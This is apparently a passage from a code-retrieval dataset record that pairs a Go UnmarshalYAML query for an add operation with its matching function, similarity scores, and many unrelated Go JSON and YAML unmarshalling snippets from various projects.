{\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk22(l, v)\n}", "func (v *bulkUpdateRequestCommand) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV72(&r, v)\n\treturn r.Error()\n}", "func (j *ModifyQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (tok *Token) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\t*tok = Lookup(s)\n\treturn nil\n}", "func (v *CreateUserRequest) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson84c0690eDecodeMainHandlers3(&r, v)\n\treturn r.Error()\n}", "func (j *FF_BidRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (s *Int64) UnmarshalJSON(b []byte) error {\n\tvals := make([]int64, 0)\n\terr := json.Unmarshal(b, &vals)\n\tif err == nil {\n\t\ts.Add(vals...)\n\t}\n\treturn err\n}", "func (t *Transfer) UnmarshalJSON(data []byte) error {\n\tif id, ok := ParseID(data); ok {\n\t\tt.ID = id\n\t\treturn nil\n\t}\n\n\ttype transfer Transfer\n\tvar v transfer\n\tif err := json.Unmarshal(data, &v); err != nil {\n\t\treturn err\n\t}\n\n\t*t = Transfer(v)\n\treturn nil\n}", "func (a *Event_Payload) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (a *Meta_Georegion) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (this *Simple) UnmarshalJSON(b []byte) error {\n\treturn TypesUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}", "func (v *EventApplicationVariableAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk5(l, v)\n}", "func (this *ImportedReference) UnmarshalJSON(b []byte) error {\n\treturn TypesUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}", "func (a *LabelUpdate_Properties) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]string)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal string\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (v *SyntheticsTestRequestBodyType) UnmarshalJSON(src []byte) error {\n\tvar value string\n\terr := json.Unmarshal(src, &value)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*v = SyntheticsTestRequestBodyType(value)\n\treturn nil\n}", "func (a *Secrets) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]string)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal string\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationInputs) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &o.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (b *T) UnmarshalJSON(p []byte) error {\n\tb.BloomFilter = new(bloom.BloomFilter)\n\treturn json.Unmarshal(p, b.BloomFilter)\n}", "func (v *EventPlayerEventsAdded) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoMedia4(&r, v)\n\treturn r.Error()\n}", "func (v *IngredientArr) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels7(&r, v)\n\treturn r.Error()\n}", "func (future *SubAccountCreateFuture) UnmarshalJSON(body []byte) error {\n\tvar azFuture azure.Future\n\tif err := json.Unmarshal(body, &azFuture); err != nil {\n\t\treturn err\n\t}\n\tfuture.FutureAPI = &azFuture\n\tfuture.Result = future.result\n\treturn nil\n}", "func (r *AddCustomRuleResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "func (t *BlockTest) UnmarshalJSON(in []byte) error {\n\treturn json.Unmarshal(in, &t.Json)\n}", "func (ppbo *PutPropertyBatchOperation) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"Value\":\n\t\t\tif v != nil {\n\t\t\t\tvalue, err := unmarshalBasicPropertyValue(*v)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tppbo.Value = value\n\t\t\t}\n\t\tcase \"CustomTypeId\":\n\t\t\tif v != nil {\n\t\t\t\tvar customTypeID string\n\t\t\t\terr = json.Unmarshal(*v, &customTypeID)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tppbo.CustomTypeID = &customTypeID\n\t\t\t}\n\t\tcase \"PropertyName\":\n\t\t\tif v != nil {\n\t\t\t\tvar propertyName string\n\t\t\t\terr = json.Unmarshal(*v, &propertyName)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tppbo.PropertyName = &propertyName\n\t\t\t}\n\t\tcase \"Kind\":\n\t\t\tif v != nil {\n\t\t\t\tvar kind KindBasicPropertyBatchOperation\n\t\t\t\terr = json.Unmarshal(*v, &kind)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tppbo.Kind = kind\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (a *Meta_Up) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (v *bulkUpdateRequestCommandData) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV71(&r, v)\n\treturn r.Error()\n}", "func (l *Ledger) UnmarshalJSON(b []byte) error {\n\treturn json.Unmarshal(b, &l.Entries)\n}", "func (o *OperationInputs) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (adlsp *AddDataLakeStoreParameters) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"properties\":\n\t\t\tif v != nil {\n\t\t\t\tvar addDataLakeStoreProperties AddDataLakeStoreProperties\n\t\t\t\terr = json.Unmarshal(*v, &addDataLakeStoreProperties)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tadlsp.AddDataLakeStoreProperties = &addDataLakeStoreProperties\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (asap *AddStorageAccountParameters) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"properties\":\n\t\t\tif v != nil {\n\t\t\t\tvar addStorageAccountProperties AddStorageAccountProperties\n\t\t\t\terr = json.Unmarshal(*v, &addStorageAccountProperties)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tasap.AddStorageAccountProperties = &addStorageAccountProperties\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (m *MultipleActivationKeyUpdate) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", m, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"tags\":\n\t\t\terr = unpopulate(val, \"Tags\", &m.Tags)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", m, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (a *ParamsWithAddPropsParams_P2_Inner) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]string)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal string\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error unmarshaling field %s: %w\", fieldName, err)\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (v *Features) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson42239ddeDecodeGithubComKhliengDispatchServer25(&r, v)\n\treturn r.Error()\n}", "func (j *InstallPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *EventPipelineStageAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk5(l, v)\n}", "func (v *AddSymbolToWatchlistRequest) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca20(l, v)\n}", "func (v *item) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeGithubComZhekabyGoGeneratorMongoRequestwrapperTests(&r, v)\n\treturn r.Error()\n}", "func (v *AddWeapon) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjson6601e8cdDecodeGithubComGoParkMailRu2018242GameServerTypes3(l, v)\n}", "func (obj *CartAddCustomShippingMethodAction) UnmarshalJSON(data []byte) error {\n\ttype Alias CartAddCustomShippingMethodAction\n\tif err := json.Unmarshal(data, (*Alias)(obj)); err != nil {\n\t\treturn err\n\t}\n\tif obj.ShippingRateInput != nil {\n\t\tvar err error\n\t\tobj.ShippingRateInput, err = mapDiscriminatorShippingRateInputDraft(obj.ShippingRateInput)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func (j *ThirdParty) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (a *Meta_Requests) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}", "func (v *EventApplicationRepositoryAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk9(l, v)\n}", "func (j *jsonNative) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}" ]
[ "0.65699136", "0.6485842", "0.6424481", "0.63932765", "0.6292087", "0.6257575", "0.6179806", "0.608316", "0.60809153", "0.6017797", "0.600655", "0.5987253", "0.59736705", "0.59497213", "0.59494966", "0.59494966", "0.58595324", "0.5838348", "0.58139867", "0.57693577", "0.57561237", "0.5730602", "0.56889236", "0.5641936", "0.56359226", "0.5634893", "0.56026685", "0.5587022", "0.55447876", "0.5538953", "0.553268", "0.55296475", "0.55291516", "0.55272776", "0.5516114", "0.54771703", "0.5472614", "0.54660505", "0.54659504", "0.54614246", "0.54526645", "0.5449792", "0.5448367", "0.5439711", "0.54396623", "0.5439465", "0.5436294", "0.5434747", "0.54295033", "0.5425307", "0.54212874", "0.5416162", "0.5412087", "0.5409255", "0.54007417", "0.5399791", "0.5390523", "0.53800684", "0.5376931", "0.53732646", "0.53618056", "0.53596616", "0.535691", "0.5352795", "0.5343608", "0.53408694", "0.53341275", "0.53329915", "0.53318954", "0.53295565", "0.5325605", "0.5325355", "0.5324724", "0.5321537", "0.5317834", "0.5313148", "0.5311014", "0.5311009", "0.53062594", "0.5305372", "0.53029376", "0.53017175", "0.5292626", "0.5291263", "0.52894706", "0.52871895", "0.5285765", "0.5285742", "0.52817863", "0.5280224", "0.5277637", "0.5276478", "0.5274256", "0.52731615", "0.5269445", "0.5268477", "0.5265816", "0.52641344", "0.52623886", "0.5253081" ]
0.74007833
0
UnmarshalYAML will unmarshal YAML into the add operation
func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error { var addRaw opAddRaw err := unmarshal(&addRaw) if err != nil { return fmt.Errorf("decode OpAdd: %s", err) } return op.unmarshalFromOpAddRaw(addRaw) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}", "func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\n\tvar unmarshaled stepUnmarshaller\n\tif err := unmarshal(&unmarshaled); err != nil {\n\t\treturn err\n\t}\n\n\ts.Title = unmarshaled.Title\n\ts.Description = unmarshaled.Description\n\ts.Vars = unmarshaled.Vars\n\ts.Protocol = unmarshaled.Protocol\n\ts.Include = unmarshaled.Include\n\ts.Ref = unmarshaled.Ref\n\ts.Bind = unmarshaled.Bind\n\ts.Timeout = unmarshaled.Timeout\n\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\n\ts.Retry = unmarshaled.Retry\n\n\tp := protocol.Get(s.Protocol)\n\tif p == nil {\n\t\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\n\t\t\treturn errors.Errorf(\"unknown protocol: %s\", s.Protocol)\n\t\t}\n\t\treturn nil\n\t}\n\tif unmarshaled.Request != nil {\n\t\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.Request = invoker\n\t}\n\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.Expect = builder\n\n\treturn nil\n}", "func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\n\ttype storeYAML map[string]map[string]entryYAML\n\n\tsy := make(storeYAML, 0)\n\n\terr = unmarshal(&sy)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*s = NewStore()\n\tfor groupID, group := range sy {\n\t\tfor entryID, entry := range group {\n\t\t\tentry.e.setGroup(groupID)\n\t\t\tif err = s.add(entryID, entry.e); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}", "func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmsg.unmarshal = unmarshal\n\treturn nil\n}", "func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}", "func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}", "func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := unmarshal(&typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}", "func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}", "func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}", "func (r *rawMessage) UnmarshalYAML(b []byte) error {\n\t*r = b\n\treturn nil\n}", "func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain ArtifactoryParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (f *BodyField) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn fmt.Errorf(\"the field is not a string: %s\", err)\n\t}\n\n\t*f = fromJSONDot(value)\n\treturn nil\n}", "func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}", "func parseYaml(yml []byte) T {\n\tt := T{}\n\terr := yaml.Unmarshal([]byte(yml), &t)\n\tif err != nil {\n\t\tfmt.Printf(\"error: %v\", err)\n\t}\n\treturn t\n}", "func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tif err := t.Set(value); err != nil {\n\t\treturn fmt.Errorf(\"failed to parse '%s' to Type: %v\", value, err)\n\t}\n\n\treturn nil\n}", "func unmarsharlYaml(byteArray []byte) Config {\n\tvar cfg Config\n\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\n\tif err != nil {\n\t\tlog.Fatalf(\"error: %v\", err)\n\t}\n\treturn cfg\n}", "func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\n\tvar d string\n\tif err = value.Decode(&d); err != nil {\n\t\treturn err\n\t}\n\t// check data format\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn err\n\t}\n\n\t*date = Date(d)\n\treturn nil\n}", "func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}", "func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar loglevelString string\n\terr := unmarshal(&loglevelString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tloglevelString = strings.ToLower(loglevelString)\n\tswitch loglevelString {\n\tcase \"error\", \"warn\", \"info\", \"debug\":\n\tdefault:\n\t\treturn fmt.Errorf(\"Invalid loglevel %s Must be one of [error, warn, info, debug]\", loglevelString)\n\t}\n\n\t*loglevel = Loglevel(loglevelString)\n\treturn nil\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func (r *repoEntry) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u map[string]string\n\tif err := unmarshal(&u); err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range u {\n\t\tswitch key := strings.ToLower(k); key {\n\t\tcase \"name\":\n\t\t\tr.Name = v\n\t\tcase \"url\":\n\t\t\tr.URL = v\n\t\tcase \"useoauth\":\n\t\t\tr.UseOAuth = strings.ToLower(v) == \"true\"\n\t\t}\n\t}\n\tif r.URL == \"\" {\n\t\treturn fmt.Errorf(\"repo entry missing url: %+v\", u)\n\t}\n\treturn nil\n}", "func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}", "func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}", "func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar boolType bool\n\tif err := unmarshal(&boolType); err == nil {\n\t\te.External = boolType\n\t\treturn nil\n\t}\n\n\tvar structType = struct {\n\t\tName string\n\t}{}\n\tif err := unmarshal(&structType); err != nil {\n\t\treturn err\n\t}\n\tif structType.Name != \"\" {\n\t\te.External = true\n\t\te.Name = structType.Name\n\t}\n\treturn nil\n}", "func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tp, err := ParseEndpoint(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*ep = *p\n\treturn nil\n}", "func LoadYaml(data []byte) ([]runtime.Object, error) {\n\tparts := bytes.Split(data, []byte(\"---\"))\n\tvar r []runtime.Object\n\tfor _, part := range parts {\n\t\tpart = bytes.TrimSpace(part)\n\t\tif len(part) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tobj, _, err := scheme.Codecs.UniversalDeserializer().Decode([]byte(part), nil, nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tr = append(r, obj)\n\t}\n\treturn r, nil\n}", "func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}", "func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tif !LabelName(s).IsValid() {\n\t\treturn fmt.Errorf(\"%q is not a valid label name\", s)\n\t}\n\t*ln = LabelName(s)\n\treturn nil\n}", "func UnmarshalYAML(config *YAMLConfiguration, path string) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = yaml.Unmarshal(data, config)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n}", "func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate float64\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tf.set(candidate)\n\treturn nil\n}", "func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\n\tvar s string\n\tif err := unmashal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := time.ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = duration(dur)\n\treturn nil\n}", "func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar cl CommandList\n\tcommandCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&cl) },\n\t\tAssign: func() { *r = Run{Command: cl} },\n\t}\n\n\ttype runType Run // Use new type to avoid recursion\n\tvar runItem runType\n\trunCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *r = Run(runItem) },\n\t\tValidate: func() error {\n\t\t\tactionUsedList := []bool{\n\t\t\t\tlen(runItem.Command) != 0,\n\t\t\t\tlen(runItem.SubTaskList) != 0,\n\t\t\t\trunItem.SetEnvironment != nil,\n\t\t\t}\n\n\t\t\tcount := 0\n\t\t\tfor _, isUsed := range actionUsedList {\n\t\t\t\tif isUsed {\n\t\t\t\t\tcount++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif count > 1 {\n\t\t\t\treturn errors.New(\"only one action can be defined in `run`\")\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\n}", "func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil 